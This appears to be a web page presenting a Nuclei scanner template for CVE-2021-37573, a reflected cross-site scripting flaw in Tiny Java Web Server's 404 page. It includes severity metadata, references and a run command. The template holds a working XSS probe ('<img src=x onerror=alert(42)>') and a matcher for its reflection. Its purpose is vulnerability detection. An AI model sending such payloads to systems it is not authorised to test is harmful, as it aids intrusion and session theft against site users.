Tiny Java Web Server - Cross-Site Scripting

ID: CVE-2021-37573

Severity: medium

Author: geeknik

Tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project

Description

A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server’s “404 Page not Found” error page.

YAML Source

id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.69609
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4b0a00483046022100c00b0869bed5673cbdef629ad44f2553b9dca69e01b0aacd65fe80a9d89c1dec022100cea10dd33f425de6470e54ed15ec40183d22c2a0ca55228e28f33ad672349afd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-37573.yaml"

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